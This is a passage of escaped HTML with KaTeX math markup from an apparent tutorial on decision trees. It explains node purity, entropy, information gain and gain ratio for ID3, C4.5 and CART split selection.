mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2029em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1645em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:0em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2997em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;P&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop&#34;&gt;lo&lt;span style=&#34;margin-right:0.0139em;&#34;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.207em;&#34;&gt;&lt;span style=&#34;top:-2.4559em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2441em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;P&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;A pure node contains observations from a single class. One way to describe how close a node is to that state is the fraction covered by its majority class.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Choose a split.&lt;/strong&gt; ID3 uses information gain, C4.5 uses gain ratio, and classification trees in CART use Gini impurity.
&lt;ul&gt;
&lt;li&gt;Information gain is the reduction in entropy after splitting on attribute &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;A&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;: &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;G&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;E&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msubsup&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;/msubsup&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/msub&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mi&gt;E&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Gain(D,A)=Entropy(D)-\sum_{v=1}^V\frac{|D_v|}{|D|}Entropy(D_v)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ain&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;A&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0576em;&#34;&gt;E&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;y&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.53em;vertical-align:-0.52em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;position:relative;top:0em;&#34;&gt;∑&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.9812em;&#34;&gt;&lt;span style=&#34;top:-2.4003em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2029em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.2222em;&#34;&gt;V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2997em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.01em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.485em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1645em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.0278em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.52em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0576em;&#34;&gt;E&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;y&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1514em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Here &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;V&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.2222em;&#34;&gt;V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; counts distinct values and &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;D_v&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8333em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1514em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is the subset with value &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;v&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. The ratio &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/msub&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;/&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;|D_v|/|D|&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1514em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;∣/∣&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; weights each child by its size.&lt;/li&gt;
&lt;li&gt;Information gain tends to favour attributes with many values, which can lead to overfitting. Gain ratio divides it by the entropy of the split: &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;G&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mrow&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;/mrow&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;G&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;/&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Gain_{ratio}(D,A)=Gain(D,A)/H_A(D)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ai&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span 